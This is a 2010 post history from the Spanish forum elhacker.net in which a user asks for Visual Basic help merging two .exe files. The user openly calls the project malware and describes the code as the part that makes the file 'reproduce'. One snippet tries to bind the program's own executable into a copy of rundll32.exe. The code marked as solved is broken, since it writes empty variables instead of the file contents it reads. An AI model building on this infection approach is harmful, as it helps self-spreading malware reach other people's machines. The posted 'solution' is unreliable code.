elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el ttwitter! de elhacker.NET


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación Visual Basic / Re: Juntar dos .exe en: 9 Junio 2010, 02:22 am
Listo ya resolví el problema:
Código
  1. Dim Data As String, Data1 As String
  2. Open "C:\Prueba1.exe" For Binary As #1
  3. Parte1 = Space$(LOF(1))
  4. Get #1, 1, Parte1
  5. Close #1
  6. Open "C:\Prueba2.exe" For Binary As #1
  7. Parte2 = Space$(LOF(1))
  8. Get #1, 1, Parte2
  9. Close #1
  10. Open "C:\Prueba.exe" For Binary As #1
  11. Put #1, 1, Data & Data1
  12. Close #1
  13.  

publico el codigo para que cualquiera con dudas similares lo encuentre más facil que lo que yo pude
2  Programación / Programación Visual Basic / Re: Necesito modificar archivos .exe desde un programa en: 9 Junio 2010, 02:13 am
Listo ya resolví el problema, moderadores cierrenlo.
3  Programación / Programación Visual Basic / Juntar dos .exe en: 8 Junio 2010, 03:11 am
Necesito juntar dos archivos .exe en uno, estuve probando con distintos codigos buscando en google y aquí, pero nada en concreto, alguna idea, alguna linea para dar? :xD
4  Programación / Programación Visual Basic / Re: Necesito modificar archivos .exe desde un programa en: 6 Junio 2010, 18:57 pm
¿Esto no tendría que ir en el subforo de Programación Visual Basic (¿es VB no :xD?)?

Referente a lo que dijo RNA de GeShi:

Visual Basic
[code=vb][/code]

Saludos  :P


Con respecto a las etiquetas, gracias, pero es un malware, ¿Acaso no queda suficientemente claro?, esto es solo una pieza del codigo que hace que el archivo se "reproduzca", pero me tira error "Type mismatch", no se porqué
5  Programación / Programación Visual Basic / Necesito modificar archivos .exe desde un programa en: 6 Junio 2010, 17:28 pm
Estoy haciendo un programita para demostrarles a los brutos que tengo de compañeros las vulnerabilidades monstruosas del güindous con una compu del cole, necesito un poco de ayuda para la parte de retransmisión, sobre todo para modificar archivos exe, probé con este codigo:
Código
  1. Option Explicit
  2.  
  3. Private Sub Form_Load()
  4. Dim Data() As Byte
  5. Dim Data1() As Byte
  6. Dim Data2() As Byte
  7. Dim fLen As Long
  8. Dim fLen1 As Long
  9. Dim fLen2 As Long
  10. Open "c:\windows\system32\rundll32.exe" For Binary Lock Read As 1
  11. Open App.Path + "\" + App.EXEName + ".exe" For Binary Lock Read As 2
  12. Open "c:\Nuevo.exe" For Binary Access Write As 3
  13. fLen = FileLen("c:\windows\system32\rundll32.exe")
  14. fLen1 = FileLen(App.Path + "\" + App.EXEName + ".exe")
  15. fLen2 = fLen1 + fLen
  16. ReDim Data(fLen2) As Byte
  17. Get #1, , Data1
  18. Get #2, , Data2
  19. Data = Data2 + Data1
  20. Put #2, , Data
  21. Close
  22. End Sub
  23.  
Pero me tira error mismatch en el + de data2 + data1 cuando lo compilo o lo corro.
Creo saber porque es pero no se como solucionarlo, alguien tiene idea de como mezclar dos archivos exe?, busque por los foros y por google pero no encontré nada puntual
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines